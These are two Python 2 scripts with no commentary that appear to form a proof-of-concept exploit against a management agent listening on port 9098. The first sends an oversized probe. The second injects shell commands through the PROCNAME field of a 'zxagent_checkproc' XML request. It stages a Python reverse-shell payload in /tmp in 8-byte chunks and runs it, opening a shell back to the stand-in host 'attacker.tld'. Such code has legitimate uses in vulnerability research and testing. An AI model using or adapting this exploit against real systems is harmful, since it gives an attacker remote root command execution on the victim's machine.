#!/usr/bin/env python2

from socket import socket, AF_INET, SOCK_STREAM
from binascii import unhexlify, hexlify
from base64 import b64decode, b64encode
from struct import pack, unpack


TARGET = '127.0.0.1'
PORT = 9098


sock = socket(AF_INET, SOCK_STREAM)
sock.connect((TARGET, PORT))

sock.sendall('~_-!' + pack('!I', 12) + 'X'*256)

data = sock.recv(4096)
print('%r' % data)
print('%r' % b64decode(data[8:]))

sock.close()

#!/usr/bin/env python2

from socket import socket, AF_INET, SOCK_STREAM
from binascii import unhexlify, hexlify
from base64 import b64decode, b64encode
from struct import pack, unpack
from xml.sax.saxutils import escape
from random import choice

TARGET = '127.0.0.1'
PORT = 9098
ATTACKER = 'attacker.tld'

CMD = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ATTACKER,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh']);"

def packup(data):
  print('> sending %r' % data)
  b64 = b64encode(data)
  return '~_-!' + pack('!I', len(b64)) + b64

def remote_execute(cmd):
  sock = socket(AF_INET, SOCK_STREAM)
  sock.connect((TARGET, PORT))

  sock.sendall(packup('''<ZXAGENT><COMMAND name="zxagent_checkproc">
<USER>super</USER>
<OPERUSER>root</OPERUSER>
<DEVPASSWD>useless</DEVPASSWD>
<SERVERLOG>xxx</SERVERLOG>
<TIMEOUT>1000</TIMEOUT>
<PROCNAME>; ''' + escape(cmd) + '''</PROCNAME>
</COMMAND></ZXAGENT>'''))

  data = sock.recv(1024)

  sock.close()


# due to size constraint, we will create a bash
# chunk by chunk
# and then execute it to get a reverse shell

def rand_file(n=5):
  name = ''
  for i in range(n):
    c = choice('abcdefhijklmnopqrstuvwxyz')
    name += c
  return name

f = '/tmp/%s' % rand_file()

for offset in range(0, len(CMD), 8):
  chunk = CMD[offset:offset+8]
  print('appending %r' % chunk)
  assert('"' not in chunk)
  remote_execute('echo -n "%s" >> %s' % (chunk, f))

remote_execute('python %s' % f)